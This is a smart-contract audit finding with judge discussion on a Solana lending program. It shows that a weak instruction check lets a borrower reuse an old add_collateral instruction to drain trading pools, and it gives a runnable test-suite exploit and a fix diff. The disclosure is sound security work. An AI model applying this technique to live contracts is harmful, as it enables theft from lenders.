Malicious users can drain all trading pools, due to insufficient instruction validation in the `borrow` function

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L41-L50

Vulnerability details

Impact

All trading pools can be drained easily, which will lead to massive losses for lenders

Proof of Concept

The current implementation of the borrow function which is located inside of the swap.rs file has a major flaw within it. Although the function has a verification in place that is used to ensure that there is a proceeding instruction that calls add_collateral after it, this verification is implemented in such a way, that it can actually be bypassed.

        if ix_discriminator == crate::instruction::TradingOpenAddCollateral::DISCRIMINATOR {
            require_keys_eq!(
                ix.accounts[2].pubkey,
                ctx.accounts.trading_pool.key(),
                FlashFillError::IncorrectProgramAuthority
            );
            require_keys_eq!(
                ix.accounts[1].pubkey,
                ctx.accounts.trader.key(),
                FlashFillError::IncorrectProgramAuthority
            );
            break;
        }

As it can be seen, the verification consists of two equality checks that enforce the trading_pool and trader public keys that are being passed in to the add_collateral function's context to be equal to the ones passed in to the current borrow function's context. However, this is not enough, since the position_account public key being passed in to both of those functions is actually calculated based on three values - the trading_pool, trader and random_account_as_id. What this essentially means is users can create instructions that call the add_collateral function for already created positions, which will actually pass the borrow function's verification mechanism, effectively allowing them to borrow an infinite amount of SOL from any trading pool without putting any collateral at stake for it (or in other words, allowing them to steal all SOL from any trading pool).

The following coded PoC demonstrates the issue at question. To run it, paste it at the bottom of the lavarage describe block in the lavarage.spec.ts test file and then run anchor test in libs/smart-contracts. The tests inside lavarage.spec.ts are stateful, so the order in which they are executed does matter.

it('Should allow borrowing SOL without adding any collateral', async () => {
    const randomAccountSeed1 = Keypair.generate();
    const randomAccountSeed2 = Keypair.generate();

    const fundAmount = 5000000000;
    await program.methods
        .lpOperatorFundNodeWallet(new anchor.BN(fundAmount))
        .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
        })
        .rpc();

    const traderBalanceBefore = await provider.connection.getBalance(provider.publicKey);

    const tradingPool = getPDA(program.programId, [
        Buffer.from('trading_pool'),
        provider.publicKey.toBuffer(),
        tokenMint.toBuffer(),
    ]);
    const positionAccount = getPDA(program.programId, [
        Buffer.from('position'),
        provider.publicKey?.toBuffer(),
        tradingPool.toBuffer(),
        randomAccountSeed1.publicKey.toBuffer(),
    ]);
    const positionATA = await getOrCreateAssociatedTokenAccount(
        provider.connection,
        anotherPerson,
        tokenMint,
        positionAccount,
        true,
    );
    // opening a first very small borrow position that we will use for callig `add_collateral` with for the second
    const borrowIx1 = await program.methods
        .tradingOpenBorrow(new anchor.BN(5), new anchor.BN(4))
        .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        // frontend fee receiver. could be any address. opening fee 0.5%
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        })
        .instruction();
    const transferIx1 = createTransferCheckedInstruction(
        userTokenAccount.address,
        tokenMint,
        positionATA.address,
        provider.publicKey,
        100000000,
        9,
    );
    const addCollateralIx1 = await program.methods
        .tradingOpenAddCollateral()
        .accountsStrict({
        positionAccount,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA.address,
        })
        .instruction();

    const tx1 = new Transaction()
        .add(borrowIx1)
        .add(transferIx1)
        .add(addCollateralIx1);
    await provider.sendAll([{ tx: tx1 }]);

    const positionAccount2 = getPDA(program.programId, [
        Buffer.from('position'),
        provider.publicKey?.toBuffer(),
        tradingPool.toBuffer(),
        randomAccountSeed2.publicKey.toBuffer(),
    ]);

        // second borrow ix that borrows the whole balance of the trade pool's node wallet
    const borrowIx2 = await program.methods
        .tradingOpenBorrow(new anchor.BN(fundAmount + 1000000000), new anchor.BN(1000000000))
        .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed2.publicKey,
        // frontend fee receiver. could be any address. opening fee 0.5%
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        })
        .instruction();
    const tx2 = new Transaction()
        .add(borrowIx2)
        .add(addCollateralIx1); // reusuing the add_collateral ix from the first transaction
    await provider.sendAll([{ tx: tx2 }]);

    const traderBalanceAfter = await provider.connection.getBalance(provider.publicKey);
    const traderBalanceGains = traderBalanceAfter - traderBalanceBefore;

    expect(traderBalanceGains).toBeGreaterThan(fundAmount * 0.9); // approximate the gains due to fee deductions

    console.log("traderBalanceBefore: ", traderBalanceBefore);
    console.log("traderBalanceAfter: ", traderBalanceAfter);
    console.log("traderBalanceGains: ", traderBalanceGains);
});

Tools Used

Manual review

Recommended Mitigation Steps

Instead of verifying that the trading_pool and trader values are equal to the ones in the borrow function's context, verify that the position_account value is equal to the one in its context:

        if ix_discriminator == crate::instruction::TradingOpenAddCollateral::DISCRIMINATOR {
-           require_keys_eq!(
-               ix.accounts[2].pubkey,
-               ctx.accounts.trading_pool.key(),
-               FlashFillError::IncorrectProgramAuthority
-           );
-           require_keys_eq!(
-               ix.accounts[1].pubkey,
-               ctx.accounts.trader.key(),
-               FlashFillError::IncorrectProgramAuthority
-           );
+           require_keys_eq!(
+               ix.accounts[0].pubkey,
+               ctx.accounts.position_account.key(),
+               FlashFillError::IncorrectProgramAuthority
+           );
            break;
        }

Assessed type

Invalid Validation

[c4-judge]

alcueca marked the issue as duplicate of #4

[c4-judge]

alcueca marked the issue as selected for report

[c4-sponsor]

piske-alex (sponsor) confirmed

[koolexcrypto]

Hi @alcueca ,

This issue #28 describes a bug in borrow function which is used on borrowing.

However, issue #13 and issue #26 describe a bug in borrow_collateral which is used when repaying the debt.

Therefore, both issues #13 and #26 are not a duplicate of #28 as they both have different root cause and mitigation.

CC: @c4-sponsor

[alcueca]

You are right, @koolexcrypto.

@piske-alex, would you please review #26, which was incorrectly tagged as a duplicate of this one?

[c4-judge]

alcueca marked the issue as satisfactory

[c4-judge]

alcueca marked issue #16 as primary and marked this issue as a duplicate of 16